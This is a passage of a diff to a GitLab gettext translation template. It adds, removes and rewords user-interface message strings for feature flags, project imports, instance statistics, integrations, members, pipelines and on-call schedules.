msgid "Feature flag was successfully removed."
msgstr ""
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11587,6 +11944,9 @@ msgstr ""
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11611,9 +11971,6 @@ msgstr ""
msgid "FeatureFlags|Rollout Strategy"
msgstr ""
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11674,6 +12031,9 @@ msgstr ""
msgid "February"
msgstr ""
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -11716,7 +12076,7 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11842,12 +12202,6 @@ msgstr ""
msgid "Find file"
msgstr ""
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr ""
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr ""
@@ -11872,9 +12226,6 @@ msgstr "Prvi dan sedmice"
msgid "First name"
msgstr ""
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr ""
@@ -11920,9 +12271,6 @@ msgstr ""
msgid "Folder/%{name}"
msgstr ""
-msgid "Follow the steps below to export your Google Code project data."
-msgstr ""
-
msgid "Font Color"
msgstr ""
@@ -12007,6 +12355,9 @@ msgstr ""
msgid "Found errors in your .gitlab-ci.yml:"
msgstr ""
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr ""
@@ -12034,9 +12385,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr ""
-msgid "From Google Code"
-msgstr ""
-
msgid "From issue creation until deploy to production"
msgstr ""
@@ -12523,6 +12871,9 @@ msgstr ""
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12556,6 +12907,9 @@ msgstr ""
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -12766,15 +13120,12 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to %{link_to_google_takeout}."
-msgstr ""
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -12889,12 +13240,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr ""
-
-msgid "Google Takeout"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -13129,6 +13474,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr ""
@@ -13522,12 +13873,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr ""
-msgid "GroupsTree|Create a project in this group."
-msgstr ""
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr ""
-
msgid "GroupsTree|Edit group"
msgstr ""
@@ -13603,6 +13948,9 @@ msgstr ""
msgid "HealthCheck|Unhealthy"
msgstr ""
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr ""
@@ -13756,9 +14104,6 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -13900,6 +14245,9 @@ msgstr ""
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr ""
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -13978,12 +14326,6 @@ msgstr ""
msgid "Import Projects from Gitea"
msgstr ""
-msgid "Import all compatible projects"
-msgstr ""
-
-msgid "Import all projects"
-msgstr ""
-
msgid "Import an exported GitLab project"
msgstr ""
@@ -14035,9 +14377,6 @@ msgstr ""
msgid "Import projects from GitLab.com"
msgstr ""
-msgid "Import projects from Google Code"
-msgstr ""
-
msgid "Import repositories from Bitbucket Server"
msgstr ""
@@ -14068,6 +14407,9 @@ msgstr ""
msgid "ImportButtons|Connect repositories from"
msgstr ""
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
@@ -14101,6 +14443,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -14131,9 +14476,6 @@ msgstr ""
msgid "In progress"
msgstr ""
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Incident"
msgstr ""
@@ -14311,9 +14653,6 @@ msgstr ""
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr ""
-
msgid "Incompatible options set!"
msgstr ""
@@ -14398,9 +14737,6 @@ msgstr ""
msgid "Install Runner on Kubernetes"
msgstr ""
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr ""
@@ -14425,73 +14761,79 @@ msgstr[2] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
+msgid "Instance administrators group already exists"
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
-msgid "Instance administrators group already exists"
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14530,6 +14872,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr ""
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14563,7 +14908,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14581,6 +14935,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14602,6 +14959,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr ""
@@ -14677,6 +15037,9 @@ msgstr ""
msgid "Invalid file."
msgstr ""
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr ""
@@ -14719,6 +15082,9 @@ msgstr ""
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr ""
@@ -14743,6 +15109,9 @@ msgstr ""
msgid "Invite member"
msgstr ""
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14788,6 +15157,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14797,16 +15169,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -14914,9 +15286,6 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -14980,6 +15349,9 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr ""
@@ -15115,10 +15487,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15295,6 +15667,27 @@ msgstr ""
msgid "Jobs"
msgstr ""
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr ""
@@ -15424,6 +15817,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr "Kubernetes"
@@ -15607,9 +16003,6 @@ msgstr ""
msgid "Last name"
msgstr ""
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr ""
@@ -15703,6 +16096,9 @@ msgstr ""
msgid "Learn more about License-Check"
msgstr ""
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr ""
@@ -15730,9 +16126,6 @@ msgstr ""
msgid "Learn more about group-level project templates"
msgstr ""
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr ""
@@ -15763,9 +16156,6 @@ msgstr ""
msgid "Leave project"
msgstr ""
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr ""
-
msgid "Leave zen mode"
msgstr ""
@@ -15829,9 +16219,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr ""
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -15877,18 +16264,9 @@ msgstr ""
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr ""
-msgid "LicenseCompliance|License details"
-msgstr ""
-
msgid "LicenseCompliance|License name"
msgstr ""
-msgid "LicenseCompliance|License review"
-msgstr ""
-
-msgid "LicenseCompliance|Packages"
-msgstr ""
-
msgid "LicenseCompliance|Remove license"
msgstr ""
@@ -15904,9 +16282,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr ""
-msgid "LicenseCompliance|URL"
-msgstr ""
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr ""
@@ -16012,6 +16387,9 @@ msgstr ""
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] ""
@@ -16033,6 +16411,9 @@ msgstr ""
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -16237,9 +16618,6 @@ msgstr ""
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr ""
-
msgid "Make this epic confidential"
msgstr ""
@@ -16300,16 +16678,10 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
-msgid "Map a FogBugz account ID to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a GitLab user"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
msgstr ""
-msgid "Map a Google Code user to a full email address"
-msgstr ""
-
-msgid "Map a Google Code user to a full name"
+msgid "Map a FogBugz account ID to a GitLab user"
msgstr ""
msgid "Mar"
@@ -16372,7 +16744,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16384,7 +16756,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
@@ -16432,6 +16804,9 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16456,9 +16831,6 @@ msgstr ""
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16615,7 +16987,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16651,9 +17026,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16663,12 +17047,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16687,6 +17080,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16738,6 +17134,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr ""
@@ -16789,6 +17188,9 @@ msgstr ""
msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr ""
@@ -17347,6 +17749,9 @@ msgstr ""
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17452,6 +17857,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17485,12 +17893,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr ""
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr ""
-
msgid "Minimum password length (number of characters)"
msgstr ""
@@ -17548,7 +17950,7 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -17644,6 +18046,9 @@ msgstr ""
msgid "Move selection up"
msgstr ""
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr ""
@@ -17773,6 +18178,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17806,6 +18214,9 @@ msgstr ""
msgid "Need help?"
msgstr ""
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -18031,7 +18442,7 @@ msgstr ""
msgid "New"
msgstr ""
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -18184,6 +18595,9 @@ msgstr ""
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr ""
@@ -18289,9 +18703,6 @@ msgstr ""
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr ""
@@ -18475,9 +18886,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr ""
-
msgid "No. of commits"
msgstr ""
@@ -18514,6 +18922,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr ""
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr ""
@@ -18532,6 +18943,9 @@ msgstr ""
msgid "Not found."
msgstr ""
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr ""
@@ -18544,6 +18958,9 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18583,6 +19000,9 @@ msgstr ""
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr ""
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr ""
@@ -18619,9 +19039,15 @@ msgstr ""
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr ""
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr ""
@@ -18637,6 +19063,9 @@ msgstr ""
msgid "NotificationEvent|New release"
msgstr ""
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr ""
@@ -18646,6 +19075,9 @@ msgstr ""
msgid "NotificationEvent|Reopen issue"
msgstr ""
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr ""
@@ -18772,6 +19204,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18787,9 +19246,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18814,9 +19270,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18829,6 +19282,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18838,7 +19297,7 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
@@ -18862,9 +19321,6 @@ msgstr ""
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr ""
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr ""
@@ -18946,6 +19402,9 @@ msgstr ""
msgid "Open raw"
msgstr ""
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr ""
@@ -19012,9 +19471,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr ""
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr ""
-
msgid "Options"
msgstr ""
@@ -19060,6 +19516,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -19216,6 +19675,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19330,6 +19792,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr ""
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr ""
@@ -19354,9 +19819,6 @@ msgstr ""
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr ""
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -19621,6 +20083,9 @@ msgstr ""
msgid "Pipeline minutes quota"
msgstr ""
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -19729,9 +20194,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr ""
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -19777,6 +20239,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19789,6 +20254,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr ""
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19798,6 +20266,12 @@ msgstr ""
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr ""
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -20023,6 +20497,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -20032,9 +20509,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr ""
-
msgid "Please create a password for your new account."
msgstr ""
@@ -20197,18 +20671,12 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr ""
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
msgstr ""
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
-
msgid "Preferences|For example: 30 mins ago."
msgstr ""
